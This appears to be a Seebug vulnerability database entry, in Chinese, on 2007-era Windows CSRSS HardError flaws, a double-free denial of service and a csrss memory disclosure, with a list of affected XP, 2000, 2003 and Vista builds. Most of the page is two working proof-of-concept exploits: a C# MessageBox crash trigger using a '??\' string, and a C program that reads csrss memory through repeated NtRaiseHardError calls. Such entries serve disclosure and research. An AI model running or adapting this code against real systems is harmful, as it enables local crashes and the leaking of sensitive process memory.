Lucene search

K
seebugRootSSV:1103
HistoryJan 04, 2007 - 12:00 a.m.

Microsoft Windows Csrss HardError 消息多个安全漏洞

2007-01-0400:00:00
Root
www.seebug.org
16

Microsoft Windows是一款流行的操作系统。

Microsoft Windows处理特殊参数的部分API调用时存在问题,本地攻击者可以利用漏洞获得敏感信息或对系统进行拒绝服务攻击。

Microsoft Windows的WINSRV.DLL在处理HardError消息时存在两次释放错误。攻击者如果把MessageBox()函数的caption或text参数设置为以“??\”开始的字符串,那么畸形的参数会触发内核内存破坏,导致系统崩溃。

另外CSRSS.exe没有正确的验证由NtRaiseHardError传送的参数,可允许攻击者浏览CSRSS进程内存的内容,导致敏感信息泄露。

Microsoft Windows XP Tablet PC Edition SP2
Microsoft Windows XP Tablet PC Edition SP1
Microsoft Windows XP Tablet PC Edition
Microsoft Windows XP Professional SP2
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Media Center Edition SP2
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Home SP2
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows Vista December CTP
Microsoft Windows Vista beta 2
Microsoft Windows Vista Beta 1
Microsoft Windows Vista Beta
Microsoft Windows Server 2003 Web Edition SP1 Beta 1
Microsoft Windows Server 2003 Web Edition SP1
Microsoft Windows Server 2003 Web Edition
Microsoft Windows Server 2003 Standard Edition SP1 Beta 1
Microsoft Windows Server 2003 Standard Edition SP1
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Enterprise Edition SP1 Beta 1
Microsoft Windows Server 2003 Enterprise Edition SP1
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Datacenter Edition SP1 Beta 1
Microsoft Windows Server 2003 Datacenter Edition SP1
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Professional SP4
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP4
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP4
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server

目前没有解决方案提供:
<a href=“http://www.microsoft.com/” target=“_blank”>http://www.microsoft.com/</a>


                                                // mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport(&quot;user32.dll&quot;)]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

static unsafe void Main()
{
   byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
   uint MB_SERVICE_NOTIFICATION = 0x00200000u;
   fixed(byte* pHelloBug = &amp;helloBug[0])
   {
     for(int i=0; i&lt;10; i++)
       MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
   }
}
}
// &gt;&gt; csc /unsafe mbox.cs
// &gt;&gt; mbox.exe

====================================================

/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError
///// Csrss.exe memory disclosure  
/////////////////////////////////////////
///// Ruben Santamarta  
///// ruben at reversemode dot com
///// www.reversemode.com
/////////////////////////////////////////
///// 12.27.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////

#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
#include &lt;winbase.h&gt;
#include &lt;ntsecapi.h&gt;


#define UNICODE
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) &gt;= 0)
#define STATUS_SUCCESS              ((NTSTATUS) 0x00000000)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)
#define STATUS_INVALID_PARAMETER    ((NTSTATUS) 0xC000000D)
#define SystemProcessesAndThreadsInformation    5
#define NTAPI    __stdcall

int gLen=1;


typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
                                    ULONG,
                                    ULONG,
                                    PULONG,
                                    UINT,
                                    PULONG);    
  

typedef LONG NTSTATUS;
typedef LONG    KPRIORITY;

typedef struct _CLIENT_ID {
    DWORD        UniqueProcess;
    DWORD        UniqueThread;
} CLIENT_ID, * PCLIENT_ID;


typedef struct _VM_COUNTERS {
    SIZE_T        PeakVirtualSize;
    SIZE_T        VirtualSize;
    ULONG        PageFaultCount;
    SIZE_T        PeakWorkingSetSize;
    SIZE_T        WorkingSetSize;
    SIZE_T        QuotaPeakPagedPoolUsage;
    SIZE_T        QuotaPagedPoolUsage;
    SIZE_T        QuotaPeakNonPagedPoolUsage;
    SIZE_T        QuotaNonPagedPoolUsage;
    SIZE_T        PagefileUsage;
    SIZE_T        PeakPagefileUsage;
} VM_COUNTERS;


typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER   KernelTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   CreateTime;
    ULONG            WaitTime;
    PVOID            StartAddress;
    CLIENT_ID        ClientId;
    KPRIORITY        Priority;
    KPRIORITY        BasePriority;
    ULONG            ContextSwitchCount;
    LONG            State;
    LONG            WaitReason;
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;



typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG            NextEntryDelta;
    ULONG            ThreadCount;
    ULONG            Reserved1[6];
    LARGE_INTEGER   CreateTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   KernelTime;
    UNICODE_STRING  ProcessName;
    KPRIORITY        BasePriority;
    ULONG            ProcessId;
    ULONG            InheritedFromProcessId;
    ULONG            HandleCount;
    ULONG            Reserved2[2];
    VM_COUNTERS        VmCounters;
    IO_COUNTERS        IoCounters;
    SYSTEM_THREAD_INFORMATION  Threads[5];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

  

typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);


ULONG GetCsrssThread()
{
    ULONG cbBuffer = 0x5000;
    ULONG tPointer;
    LPVOID pBuffer = NULL;
    NTSTATUS Status;
    PCWSTR pszProcessName;
    DWORD  junk;
    ULONG ThreadCount;
    int i=0,b=0;

    PQUERYSYSTEM NtQuerySystemInformation;
    PSYSTEM_THREAD_INFORMATION pThreads;
    PSYSTEM_PROCESS_INFORMATION pInfo ;

    NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress(
LoadLibrary( &quot;ntdll.dll&quot; ),
                                              
&quot;NtQuerySystemInformation&quot; );

    
    do
    {
        pBuffer = malloc(cbBuffer);
        if (pBuffer == NULL)
        {
            printf((&quot;Not enough memory\n&quot;));
           break;
        }

        Status = NtQuerySystemInformation(
                    SystemProcessesAndThreadsInformation,
                    pBuffer, cbBuffer, NULL);

        if (Status == STATUS_INFO_LENGTH_MISMATCH)
        {
            free(pBuffer);
            cbBuffer *= 2;
        }
        else if (!NT_SUCCESS(Status))
        {
            printf(&quot;NtQuerySystemInformation Error! &quot;);
            free(pBuffer);
        }
        
    }   while (Status == STATUS_INFO_LENGTH_MISMATCH);


    pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

    for (;;)
    {
        

        if (pInfo-&gt;NextEntryDelta == 0)
            break;
        if(pInfo-&gt;ProcessName.Buffer!=NULL &amp;&amp;
        !wcsicmp(pInfo-&gt;ProcessName.Buffer,L&quot;csrss.exe&quot;))
        {
      
            printf(&quot;\n[%ws]  \n\n&quot;,
pInfo-&gt;ProcessName.Buffer);
            printf(&quot;5 addresses for testing purposes\n\n&quot;);
           for(b=0;b&lt;5;b++)
           {
             printf(&quot;Thread %d -&gt;
0x%x\n&quot;,b,pInfo-&gt;Threads[b].StartAddress);    
           }
           tPointer=(ULONG)pInfo-&gt;Threads[1].StartAddress;
        }
        pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)
                        +
pInfo-&gt;NextEntryDelta);
    }

    free(pBuffer);
    return tPointer;
}        

VOID WINAPI ReadBox( LPVOID param )
{

    HWND hWindow,hButton,hText;
    int i=0,b=0;
    int gTemp;
    char lpTitle[300];
    char lpText[300];
    char lpBuff[500];
    
    for (;;)
    {
    
        lpText[0]=(BYTE)&quot;&quot;;
       Sleep(800);
        hWindow = FindWindow(&quot;#32770&quot;,NULL);
        if(hWindow != NULL)
        {
            GetWindowText(hWindow,(LPSTR)&amp;lpTitle,250);
            
            hText=FindWindowEx(hWindow,0,&quot;static&quot;,0);
        
            GetWindowText(hText,(LPSTR)&amp;lpText,250);
            hText=GetNextWindow(hText,GW_HWNDNEXT);
            
            GetWindowText(hText,(LPSTR)&amp;lpText,250);
            gTemp = strlen(lpTitle);
            
            if ( gTemp&gt;1 ) gLen = gTemp;
            else gLen = 1;
            
            for(i = 0; i &lt; gTemp; i++)  
printf(&quot;%.2X&quot;,(BYTE)lpTitle[i]);
        
              
            SendMessage(hWindow,WM_CLOSE,0,0);
            
            ZeroMemory((LPVOID)lpTitle,250);
            ZeroMemory((LPVOID)lpText,250);
            ZeroMemory((LPVOID)lpBuff,300);
        }

    }
}



                          
int main()
{
    
   UNICODE_STRING uStr={5,5,L&quot;fun!&quot;};
   ULONG retValue,args[]={0,0,&amp;uStr};
   ULONG csAddr;
   PNTRAISE NtRaiseHardError;    
   int i=0;
    
    system(&quot;cls&quot;);
    printf(&quot;##########################################\n&quot;);
    printf(&quot;### Microsoft Windows NtRaiseHardError ###\n&quot;);
    printf(&quot;#####  Csrss.exe memory disclosure  ######\n&quot;);
    printf(&quot;@@@@@  Xmas Exploit   -   ho ho ho! @@@@@@\n&quot;);
    printf(&quot;## Ruben Santamarta www.reversemode.com ##\n&quot;);
    printf(&quot;##########################################\n\n&quot;);
  
    
NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle(&quot;ntdll.dll&quot;),
                                               &quot;NtRaiseHardError&quot;);  
       
    csAddr=GetCsrssThread();
    
    args[0]=csAddr;
      args[1]=csAddr;
       printf(&quot;\n[+] Capturing Messages \n&quot;);
          
    CreateThread( NULL,              
                  0,                  
                 (LPTHREAD_START_ROUTINE)ReadBox,        
                  0,            
                  0,                
                 NULL);
  
    
                
    printf(&quot;\n[+] Now reading at: [0x%p] - Thread 1\n\n&quot;,csAddr);        
    
   for(;;)
   {
    printf(&quot;Reading bytes at [0x%p] : &quot;,args[0]);
    NtRaiseHardError(0x50000018,3,4,args,1,&amp;retValue);
    
    if(retValue &amp;&amp; gLen&lt;=1)          printf(&quot;00\n&quot;);
    else printf(&quot;\n&quot;);
  
    args[0]+=gLen;
    args[1]+=gLen;
    }
}